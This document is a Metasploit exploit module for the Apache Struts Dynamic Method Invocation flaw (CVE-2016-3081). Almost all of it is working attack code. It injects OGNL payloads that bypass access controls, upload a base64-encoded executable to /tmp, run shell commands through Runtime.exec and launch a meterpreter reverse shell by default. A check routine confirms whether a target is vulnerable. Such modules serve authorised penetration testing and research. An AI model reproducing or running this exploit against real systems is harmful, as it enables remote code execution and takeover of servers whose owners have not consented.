Apache Struts 2.3.28 Dynamic Method Invocation Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in Apache Struts  
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code  
Execution can be performed via method: prefix when Dynamic Method Invocation  
is enabled.  
},  
'Author' => [ 'Nixawk' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2016-3081' ],  
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]  
],  
'Platform' => %w{ linux },  
'Privileged' => true,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'  
},  
'Targets' =>  
[  
['Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
]  
],  
'DisclosureDate' => 'Apr 27 2016',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),  
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])  
], self.class)  
end  
  
def print_status(msg='')  
super("#{peer} - #{msg}")  
end  
  
def send_http_request(payload)  
uri = normalize_uri(datastore['TARGETURI'])  
res = send_request_cgi(  
'uri' => "#{uri}#{payload}",  
'method' => 'POST')  
if res && res.code == 404  
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')  
end  
res  
end  
  
def parameterize(params) # params is a hash  
URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))  
end  
  
def generate_rce_payload(code, params_hash)  
payload = "?method:"  
payload << Rex::Text.uri_encode("#[email protected]@DEFAULT_MEMBER_ACCESS")  
payload << ","  
payload << Rex::Text.uri_encode(code)  
payload << ","  
payload << Rex::Text.uri_encode("1?#xx:#request.toString")  
payload << "&"  
payload << parameterize(params_hash)  
payload  
end  
  
def temp_path  
@TMPPATH ||= lambda {  
path = datastore['TMPPATH']  
return nil unless path  
unless path.end_with?('/')  
path << '/'  
end  
return path  
}.call  
end  
  
def upload_file(filename, content)  
var_a = rand_text_alpha_lower(4)  
var_b = rand_text_alpha_lower(4)  
var_c = rand_text_alpha_lower(4)  
var_d = rand_text_alpha_lower(4)  
  
code = "##{var_a}=new sun.misc.BASE64Decoder(),"  
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"  
code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"  
code << "##{var_b}.close()"  
  
params_hash = { var_c => filename, var_d => content }  
payload = generate_rce_payload(code, params_hash)  
  
send_http_request(payload)  
end  
  
def execute_command(cmd)  
var_a = rand_text_alpha_lower(4)  
var_b = rand_text_alpha_lower(4)  
var_c = rand_text_alpha_lower(4)  
var_d = rand_text_alpha_lower(4)  
var_e = rand_text_alpha_lower(4)  
var_f = rand_text_alpha_lower(4)  
  
code = "##{var_a}[email protected]@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"  
code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"  
code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"  
code << "##{var_d}=new char[1024],"  
code << "##{var_c}.read(##{var_d}),"  
  
code << "##{var_e}[email protected]@getResponse().getWriter(),"  
code << "##{var_e}.println(##{var_d}),"  
code << "##{var_e}.close()"  
  
cmd.tr!(' ', '+') if cmd && cmd.include?(' ')  
params_hash = { var_f => cmd }  
payload = generate_rce_payload(code, params_hash)  
  
send_http_request(payload)  
end  
  
def linux_stager  
payload_exe = rand_text_alphanumeric(4 + rand(4))  
path = temp_path || '/tmp/'  
payload_exe = "#{path}#{payload_exe}"  
  
b64_filename = Rex::Text.encode_base64(payload_exe)  
b64_content = Rex::Text.encode_base64(generate_payload_exe)  
  
print_status("Uploading exploit to #{payload_exe}")  
upload_file(b64_filename, b64_content)  
  
print_status("Attempting to execute the payload...")  
execute_command("chmod 700 #{payload_exe}")  
execute_command("/bin/sh -c #{payload_exe}")  
end  
  
def exploit  
linux_stager  
end  
  
def check  
var_a = rand_text_alpha_lower(4)  
var_b = rand_text_alpha_lower(4)  
  
addend_one = rand_text_numeric(rand(3) + 1).to_i  
addend_two = rand_text_numeric(rand(3) + 1).to_i  
sum = addend_one + addend_two  
flag = Rex::Text.rand_text_alpha(5)  
  
code = "##{var_a}[email protected]@getResponse().getWriter(),"  
code << "##{var_a}.print(#parameters.#{var_b}[0]),"  
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"  
code << "##{var_a}.print(#parameters.#{var_b}[0]),"  
code << "##{var_a}.close()"  
  
params_hash = { var_b => flag }  
payload = generate_rce_payload(code, params_hash)  
  
begin  
resp = send_http_request(payload)  
rescue Msf::Exploit::Failed  
return Exploit::CheckCode::Unknown  
end  
  
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
end  
`